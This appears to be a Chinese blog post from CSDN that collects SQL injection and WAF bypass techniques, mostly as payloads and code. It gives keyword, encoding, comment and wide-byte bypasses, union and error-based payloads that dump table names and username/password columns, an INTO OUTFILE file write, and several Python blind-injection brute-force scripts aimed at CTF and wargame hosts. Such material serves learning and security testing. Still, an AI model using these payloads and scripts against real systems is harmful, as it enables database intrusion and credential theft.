SQL注入&WAF绕过姿势


 

1.WAF过滤机制:

1.异常检测协议–拒绝不符合HTTP标准的请求; 

2.增强的输入验证–代理和服务端的验证而不只是限于客户端验证; 

3.白名单&黑名单机制–白名单适用于稳定的Web应用,黑名单适合处理已知问题; 

4.基于规则和基于异常的保护–基于规则更多的依赖黑名单机制基于,基于异常根据系统异常更为灵活; 

5.另外还有会话保护、Cookies保护、抗入侵规避技术、响应监视和信息泄露保护等。

 

2.WAF绕过姿势

(1)大小写绕过

此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。 

这里有道题

(2)替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

  • 1

(3)空格绕过

payload

select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回车
/*!select*//*!**//*!from*//*!yz*/;

select(a)from(yz);
select(a)from(yz)where(a=1);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

## (4)替换关键字 

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

SELselectECT 1,2,3,4

  • 1

(5)URL编码

有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 

后台语句

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

  • 1
  • 2

select * from yz
select * from  %2579%257a

  • 1
  • 2

(6)十六进制绕过(引号绕过)

在SQL语句的数据区域可以采用十六进制绕过敏感词汇

select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name  from information_schema.tables where table_name="users"
select column_name  from information_schema.tables where table_name=0x7573657273

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

(7)逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。 

substr(),mid()

mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数
select left(database(),2)>'tf';

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

limit

selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;

  • 1
  • 2

(8)比较符(<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)

  • 1
  • 2
  • 3

新学习了一种骚骚的注入姿势in、between、order by 

select * from yz where a in ('aaa'); 

select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b'; 

select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1; 

也可以用like,根据排列顺序进行真值判断

(9)注释符绕过

在注入时的注释符一般为# --当两者不能用时就不能闭合引号 

这里介绍一个奇淫巧技 

select 1,2,3 from yz where '1'/1=(1=1)/'1'='1' 

(1=1)中就有了判断位为下面的注入打下基础

(10)宽字节绕过

字节注入也是在最近的项目中发现的问题,大家都知道%df PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\ = %df%5c%27=縗’,有了单引号就好注入了。

注:`select`防止用户自定义的名称和mysql保留字冲突

(11)with rollup

一般结合group by使用

 select 1 as test from  yz group by test with rollup limit 1 offset 1;
+------+

| test |
+------+

| NULL |
+------+

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

(12)无列名注入

给未知列名起别名 

select a from (select 1,2,3aunion select * from yz)v;

(13) 判断列数绕过

当order by 被过滤后就可以使用into 变量来绕过 

select * from yz limit 1,1 into @a,@b,@c;

3.SQL注入知识

1.SQL越界 ,也就是能执行自己的sql语句 

2.盲注的话找一个点可以控制两种不同的反应 

3.取数据并做真值判断 

4.写脚本暴库

上边是基于一般的注入题目的解题步骤,如果有特殊条件也可灵活变通

mysql数据库元信息

在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称 

和访问权限。在informa_schema中常用的表有:

schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。 

tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。 

show tables from secuiry的结果就是来自这个表 

columns:详细地描述了某张表的所有的列以及每个列的信息。 

show columns from users的结果就是来自这个表

select database(); #查选数据库
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1  #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1;  #查询列

  • 1
  • 2
  • 3
  • 4
  • 5

(1)基本注入方式

得到字段总数

可以使用order by 函数,也可以直接使用union查询

select * from yz order by 3;
ERROR 1054 (42S22): Champ '3' inconnu dans order clause

  • 1
  • 2

当使用order by 3时程序出错,那么select的字段一共是2个。

得到显示位

在页面上会显示从select中选取的字段,我们接下来就是要判断显示的字段是哪几个字段。使用如下的payload(两者均可)进行判断。

id=-1 union select 1,2,3
id=
1 and 1=2 union select 1,2,3

  • 1
  • 2

如果是1显示出来,那么1就是显示位

查看数据库

union select 1,version(),database()

  • 1

查选表名

由于database()返回的就是当前web程序所使用的数据库名,那么我们就利用database()来查询所有的表信息。当然在上一步中。我们也已经知道当前的database就是security。那么我们构造的payload如下:

 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

  • 1

查选列名

在知道了表名之后,接下来我们利用information_schema.columns就可以根据表名来获取当前表中所有的字段。payload如下:

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
id=-
1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)

  • 1
  • 2

查看数据库内容

在知道了当前数据库所有的表名和字段名之后,接下来我们就可以dump数据库中所有的信息了。比如我们下载当前users表中所有的数据。可以使用如下的payload:

id=-1 union select 1,group_concat(username,password),3 from users

  • 1

(2)报错注入

  • group by 与 floor rand 函数的报错

payload

(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))

  • 1

测试语句

select 1 from yz where (select count(*) from (select 1 union select 2 union select 3)x group by concat(222,floor(rand(0)*2)));

  • 1

显示 

Duplicata du champ ‘2221’ pour la clef ‘group_key’ 

在222处存在报错显示点,可利用此点进行报错注入

payload 利用方法 必须使其成为关键语句即where的决定权在payload中 

例如:

 - where 1=1 and payload
 - where 1=2 or payload
 - where payload

  • 1
  • 2
  • 3

这里有原理的解释 

- extractvalue 

payload

extractvalue(1,concat(0x5c,(select 1)))
extractvalue(
1,concat(0x5c,(select 1),0x5c,1))

  • 1
  • 2

 

- updatexml 

payload

updatexml(1,concat(0x5c,(select 1)),0)
updatexml(
1,concat(0x5c,(select 1),0x5c,1),0)

  • 1
  • 2

最近又出来了insert update的报错注入知识点如下 

or 注入语句 or 

整体式子为 

INSERT INTO users (id, username, password) VALUES (2,'' or 注入语句 or'', '');

(3)盲注

一般都是寻找盲注点,找到payload,利用payload 

在这里给出几个爆破脚本

import requests
url=
r'http://web.jarvisoj.com:32787/login.php'
string=
''
dic=
'0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
   
for j in dic:
        id=
"/*'XOR(if(ord((select/**/substr(table_name,{0},1)/**/from/**/information_schema.tables/*!where*/table_schema=database()))={1},sleep(3),0))OR'*/".format(str(i),ord(j))
        data={
           
'username':id,
           
'password': 1
        }
       
print j
        s=requests.post(url=url,data=data)
        sec=s.elapsed.seconds
       
if sec > 2:
            string+=j
           
break
   
print string

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18


import requests
cookies={
       
'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}

dic='3_abcdefghijklmnopqrstuvwxyz'
string =
''
for i in range(1,33):
   
for j in dic:
        url=
'http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(table_name,{0},1) from information_schema.tables where table_schema=database())) = {1}'.format(str(i),ord(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
        length=len(content)
       
print length
       
if length > 400 :
            string+=j
           
break
   
print string

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

二分法盲注

# coding:utf-8
import requests
from math import ceil
global string
string =
''

def charge(mid,i):#判断大小
    url=
'http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=if(ascii(substr((select group_concat(readme) from chat_log_secret),{0},1))<={1},10000000000,23334)'.format(str(i),str(mid))
   
#
    s=requests.get(url=url)
    content=s.content
    length=len(content)
   
#print length
   
if length > 10 :
       
return 0
   
else:
       
return 1

def dichotomie(l,r,i):#利用二分法查找

mid = (l+r)/2
   
#print "l and r ,mid:",l,r,mid
   
if l == r:
       
global string
        string += chr(r)
       
print string
       
return 0
   
if charge(mid,i):#<=
       
#print 0
        dichotomie(l,mid,i)
   
else:
       
#print 1
        dichotomie(int(ceil((l+r)*
1.0/2)),r,i)

for i in range(1,100):
    dichotomie(
32,127,i)
print string

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

import requests
cookies={
       
'PHPSESSID': 'i6vl5rbtr5r8gsiu5cl6bfi8g7'
}

string = ''
for i in range(1,33):
   
for j in range(32,127):
        url=
'http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)'.format(str(i),hex(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
       
if content.find('5') == 102 and '%' != chr(j) :
           
string+=chr(j)
           
break
   
print string

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

(4)MD5注入

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

  • 1

md5($password,true)将MD5值转化为了十六进制 

思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

  • 1

提供一个字符串:ffifdyop

(5)order by name 注入

order by name id 

id是一个注入点 

可以利用if语句进行注入

order by name ,if(1=1,1,select 1 from information_schema.tables) 

如果为假则执行第二条语句,要么报错要么没有返回值。这属于盲注的一种

(6)运算符注入

select * from yz where a=''^'123'^'12' 

select * from yz where a=''^(substr('asd',1,1)<'z')^1;

都可以作为盲注的条件语句

(7)文件写入

SQL语句 + INTO OUTFILE ‘\var\www\html\1.txt’

(8) 未知字段名注入

select c from (select * from yz union select 1,2,3c)x;

(9)空数据延时注入

select * from test where 1 and (select 1 from(select sleep(1))x);

 

源文档 <https://blog.csdn.net/qq_31481187/article/details/59727015>

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值